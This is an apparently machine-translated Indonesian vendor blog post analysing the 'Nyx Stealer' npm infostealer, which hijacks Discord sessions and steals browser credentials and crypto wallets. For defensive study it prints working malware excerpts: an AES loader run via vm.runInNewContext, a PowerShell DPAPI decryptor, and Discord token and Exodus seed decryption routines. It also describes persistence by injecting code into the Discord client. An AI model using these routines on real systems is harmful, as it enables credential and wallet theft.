Pencuri Informasi npm

Penemuan Infostealer npm Baru: Nyx ​​Stealer Membajak Sesi Discord

TL; DR

Tim Riset Keamanan Xygeni Mengidentifikasi kampanye infostealer npm yang canggih yang disebarkan melalui dua paket berbahaya: menghibur ke selfbot-lofy.

Versi terbaru (consolelofy@1.3.0) menyematkan muatan terenkripsi AES berukuran 216KB yang didekripsi saat runtime dan dieksekusi melalui vm.runInNewContext()Karena logika berbahaya tersebut sepenuhnya dienkripsi, pemindai statis yang mengandalkan inspeksi string tidak dapat mengamati perilakunya hingga waktu eksekusi.

Setelah didekripsi, muatan tersebut, yang diberi merek internal, Pencuri Nyx, target:

  • Token otentikasi Discord
  • 50+ penyimpanan kredensial browser
  • 90+ ekstensi dompet mata uang kripto
  • Sesi Roblox, Instagram, Spotify, Steam, Telegram, dan TikTok
  • Ketahanan klien desktop Discord

Semua 20 versi di kedua paket tersebut dilaporkan dan dipastikan berbahaya.

Gambaran Teknis dari Infostealer npm ini

Tidak seperti malware tradisional yang diinstal saat waktu instalasi, kampanye ini bergantung pada... runtime model dekripsi.

Ada:

  • Tidak bermaksud jahat. preinstall or postinstall hooks
  • Tidak ada panggilan jaringan yang terlihat jelas saat instalasi.
  • Tidak ada logika pengumpulan kredensial teks biasa.

Payload diaktifkan saat modul diimpor. Seluruh isi malware dienkripsi dan hanya akan muncul di memori saat runtime.

Desain ini secara khusus menghindari deteksi selama instalasi paket.

Bagaimana Infostealer npm Ini Sebenarnya Dieksekusi

Sebelum menganalisis apa yang dicuri oleh Nyx Stealer, kita perlu memahami bagaimana cara menjalankannya.

Logika jahat di dalam infostealer npm ini mengikuti pola yang konsisten:

Sebuah program pemuat kecil mendekripsi muatan terenkripsi yang besar dan mengeksekusinya secara dinamis di dalam konteks VM Node.js.

Desain ini disengaja. Penyerang tidak hanya menyembunyikan fungsionalitas di balik pengaburan, tetapi mereka juga menghapus kode berbahaya dari tampilan statis sepenuhnya.

Model Eksekusi Tingkat Tinggi

Secara garis besar, wrapper melakukan empat hal:

  • Menghasilkan kunci AES dari frasa sandi yang telah ditentukan menggunakan SHA-256.
  • Mendekripsi teks sandi berkode heksadesimal berukuran besar menggunakan AES-256-CBC.
  • Menjalankan JavaScript yang telah didekripsi menggunakan vm.runInNewContext()
  • Menyediakan lingkungan uji (sandbox) yang tetap mengekspos primitif runtime yang ampuh.

Ringkasan Teknik Inti

Komponen Konfigurasi / Nilai
Algoritma AES-256-CBC
Derivasi Kunci SHA-256 (frasa sandi)
Vektor Inisialisasi (IV) 16 byte 0x00
Execution vm.runInNewContext(decrypted, sandbox)

Yang terpenting, kotak pasir ini melewati:

  • require
  • process
  • Buffer
  • pengatur waktu
  • ekspor modul

Ini berarti muatan yang telah didekripsi tetap memiliki kemampuan penuh untuk:

  • Munculkan proses
  • Membaca dan menulis file
  • Melakukan panggilan jaringan
  • Memodifikasi aplikasi lokal

Ini bukan VM yang dibatasi. Ini adalah VM yang digunakan sebagai landasan eksekusi.

Pola Enkripsi Saat Eksekusi (Mekanisme Eksekusi Inti)

Loader itu kecil.
Tubuh yang jahat itu tidak.

Berikut adalah pola eksekusi yang ditemukan di dalam paket:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Mengapa ini Matters

Muatan yang telah didekripsi:

  • Apakah tidak ada dalam bentuk teks biasa di dalam paket npm
  • Tidak terlihat oleh orang sederhana grep atau pemindaian string statis
  • Hanya terwujud dalam memori saat runtime.
  • Berjalan dengan kemampuan runtime Node penuh.

Kombinasi eksekusi AES + VM ini merupakan indikator perilaku yang kuat dari suatu npm infostealer mencoba menghindari inspeksi statis..

Dengan kata lain:

Jika Anda memindai pohon sumber paket, Anda tidak akan melihat pencuri paket.
Anda melihat dekriptor.

Apa yang Terjadi Setelah Dekripsi

Setelah dieksekusi, Nyx Stealer meluncurkan gelombang pengumpulan data paralel.

Gelombang 1: Ekstraksi Kredensial Browser

Perangkat lunak berbahaya tersebut:

  • Mengunduh runtime Python dari NuGet CDN.
  • Menginstal pustaka kriptografi
  • Mengekstrak penyimpanan kredensial berbasis Chromium.
  • Mendekripsi rahasia yang dilindungi DPAPI

Alih-alih mengkompilasi binding native, ia memanfaatkan PowerShell untuk memanggil Windows DPAPI secara langsung.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Pendekatan ini:

  • Menghindari artefak kompilasi
  • Menggunakan API kriptografi Windows asli
  • Terintegrasi ke dalam perangkat administrasi.

Ini adalah dekripsi kredensial tingkat sistem operasi, bukan pengambilan data secara ilegal (scraping).

Gelombang 2: Dekripsi Token Discord

Pencuri tersebut memahami protokol. Ia mengerti format token terenkripsi Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Alur operasional:

  • Ekstrak kunci utama dari Discord Local State
  • Dekripsi kunci utama melalui DPAPI
  • Dekripsi blob token AES-GCM
  • Validasi token terhadap API Discord.
  • Perkaya dengan Nitro, lencana, info penagihan

Ini bukan pengambilan kredensial secara umum. Ini adalah pembajakan sesi yang peka terhadap protokol.

Gelombang 3: Penargetan Dompet Cryptocurrency

Infostealer npm mencantumkan:

  • 90+ ekstensi dompet browser
  • 27 dompet desktop
  • Jalur dompet dingin
  • Berkas benih Keluaran

Contoh upaya dekripsi seed:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Jika berhasil, peretasan dompet terjadi secara instan dan tidak dapat dipulihkan.

Ini mewakili vektor monetisasi dengan nilai tertinggi dari kampanye tersebut.

Persistensi melalui Injeksi Desktop Discord

Setelah mendapatkan kredensial, Nyx Stealer mencoba mempertahankan akses dengan memodifikasi file lokal. Discord pelanggan.

Target:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Urutan Operasional

Pencuri informasi melakukan langkah-langkah berikut:

  • Menghentikan proses Discord yang sedang berjalan.
  • Menemukan varian Discord yang terpasang (Stabil, Canary, PTB)
  • Menimpa discord_desktop_core/index.js
  • Menyuntikkan logika webhook yang dikendalikan penyerang
  • Memulai ulang Discord

Hal ini memastikan bahwa sesi Discord di masa mendatang secara otomatis membocorkan token otentikasi baru.

Yang penting, persistensi ini tidak bergantung pada tugas terjadwal atau modifikasi registri. Ini memanfaatkan modifikasi kode tingkat aplikasi, pendekatan yang lebih tersembunyi.

Sekalipun paket npm berbahaya tersebut kemudian dihapus, klien Discord tetap terkompromikan.

Perbandingan Teknis: Selfbot yang Sah vs Infostealer npm

Komponen Perpustakaan yang Sah Pencuri Info Nyx npm
enkripsi None Muatan terenkripsi AES lengkap
Mesin Virtual Runtime Tidak diperlukan vm.runInNewContext eksekusi
Akses Kredensial Hanya API Discord Browser, dompet, DPAPI
Unduhan Eksternal Tidak Runtime Python melalui NuGet
Ketekunan Tidak Injeksi klien Discord
monetisasi Otomatisasi bot Penjualan kembali kredensial

Lapisan enkripsi saja sudah membedakan kampanye ini dari fork open-source biasa.

Bot Discord yang sah tidak memiliki alasan untuk mengenkripsi seluruh basis kodenya, menjalankan PowerShell untuk mengakses DPAPI, mengunduh runtime eksternal, atau memodifikasi internal aplikasi desktop. Ketika kemampuan tersebut muncul di dalam dependensi yang mengklaim mengotomatiskan interaksi Discord, ketidaksesuaian arsitektur menjadi tidak mungkin diabaikan.

Dari sudut pandang investigasi, infostealer npm ini meninggalkan jejak di berbagai lapisan. Namun, indikator yang paling andal bukanlah URL yang dikodekan secara permanen atau jalur file tertentu, karena hal tersebut dapat berubah antar versi. Sebaliknya, sinyal yang tahan lama bersifat struktural.

Pada tingkat paket, tanda bahaya terkuat adalah kombinasi dari muatan terenkripsi yang besar dan pembungkus dekripsi saat runtime yang langsung dieksekusi melalui vm.runInNewContext()Meskipun enkripsi saja tidak secara inheren berbahaya, penggunaan dekripsi AES yang diikuti dengan eksekusi VM dinamis di dalam paket utilitas Discord sangatlah anomali.

Pada tingkat host, pola mencurigakan meliputi aktivitas dekripsi DPAPI yang tidak terduga, pembuatan proses dari konteks dependensi Node.js, dan modifikasi file aplikasi lokal yang seharusnya tidak pernah diubah oleh pustaka pihak ketiga. Demikian pula, pada lapisan jaringan, komunikasi keluar bergaya webhook yang diprakarsai oleh dependensi pengembangan merupakan anomali penting lainnya.

Dengan kata lain, permukaan deteksi bukanlah satu-satunya indikator kompromi. Korelasi antara enkripsi, eksekusi saat runtime, akses kredensial, dan perilaku persistensi-lah yang mengungkapkan ancaman tersebut.

Deteksi dan Mitigasi dengan Xygeni

Pencuri Informasi npm

Pencuri informasi npm ini diidentifikasi oleh Sistem Peringatan Dini Malware (MEW) dari Xygeni melalui korelasi perilaku berlapis, bukan sekadar pencocokan tanda tangan sederhana.

Alih-alih mencari string berbahaya yang sudah dikenal, MEW mengevaluasi anomali struktural di seluruh pohon kode sumber. Dalam kasus ini, deteksi muncul dari konvergensi beberapa sinyal: rutinitas dekripsi AES yang tertanam di titik masuk modul, eksekusi langsung di dalam konteks VM, dan ketidaksesuaian yang jelas antara kemampuan dan tujuan.

Yang penting, tidak satu pun dari sinyal-sinyal ini secara terpisah membuktikan niat jahat. Namun, ketika dianalisis bersama, sinyal-sinyal tersebut mengungkap upaya untuk menyembunyikan perilaku saat runtime. Pendekatan berlapis ini secara signifikan mengurangi false positive sekaligus mengidentifikasi ancaman rantai pasokan dengan tingkat kepercayaan tinggi.

Selain itu, kasus ini menggambarkan mengapa inspeksi saat instalasi saja tidak cukup. Logika berbahaya tidak terdapat dalam skrip siklus hidup. Logika tersebut hanya aktif setelah modul dimuat dan hanya terlihat setelah didekripsi di memori. Oleh karena itu, pertahanan yang efektif memerlukan analisis yang mempertimbangkan enkripsi, pengenalan pola perilaku, dan pemantauan ketergantungan berkelanjutan di luar peristiwa instalasi.

Penghapusan registri bersifat reaktif. Analisis yang mempertimbangkan waktu eksekusi bersifat preventif.

Mengapa Infostealer npm Ini Penting

Nyx Stealer mewakili evolusi struktural dalam malware berbasis npm.

Secara historis, banyak paket berbahaya mengandalkan skrip instalasi yang terlihat atau titik akhir eksfiltrasi kredensial yang jelas. Sebaliknya, kampanye ini mengenkripsi muatannya, menunda eksekusi hingga waktu berjalan, memanfaatkan API sistem operasi yang sah, dan membangun persistensi di dalam aplikasi tepercaya.

Akibatnya, penyerang tidak perlu mengeksploitasi infrastruktur npm itu sendiri. Sebaliknya, serangan berhasil karena instalasi dependensi menyiratkan kepercayaan. Pengembang berasumsi bahwa mengimpor pustaka adalah operasi yang aman, terutama ketika pustaka tersebut tampak sebagai turunan yang masuk akal dari alat populer.

Seiring terus berkembangnya ekosistem dan semakin banyaknya fork, batasan kepercayaan implisit tersebut menjadi permukaan serangan yang semakin menarik. Oleh karena itu, pertahanan terhadap infostealer npm modern membutuhkan pengenalan pola arsitektur daripada mencari string statis.

Pada akhirnya, kampanye ini memperkuat pelajaran penting dalam software supply chain securityAncaman yang paling berbahaya bukanlah ancaman yang tampak jahat pada pandangan pertama, tetapi ancaman yang tampak sah secara struktural hingga saat dijalankan, perilaku sebenarnya terungkap.

perangkat lunak analisis komposisi sca
Prioritaskan, perbaiki, dan amankan risiko perangkat lunak Anda.
Dapatkan Akun Gratis Anda.
Tidak perlu kartu kredit.

Amankan Pengembangan dan Pengiriman Perangkat Lunak Anda

dengan Rangkaian Produk Xygeni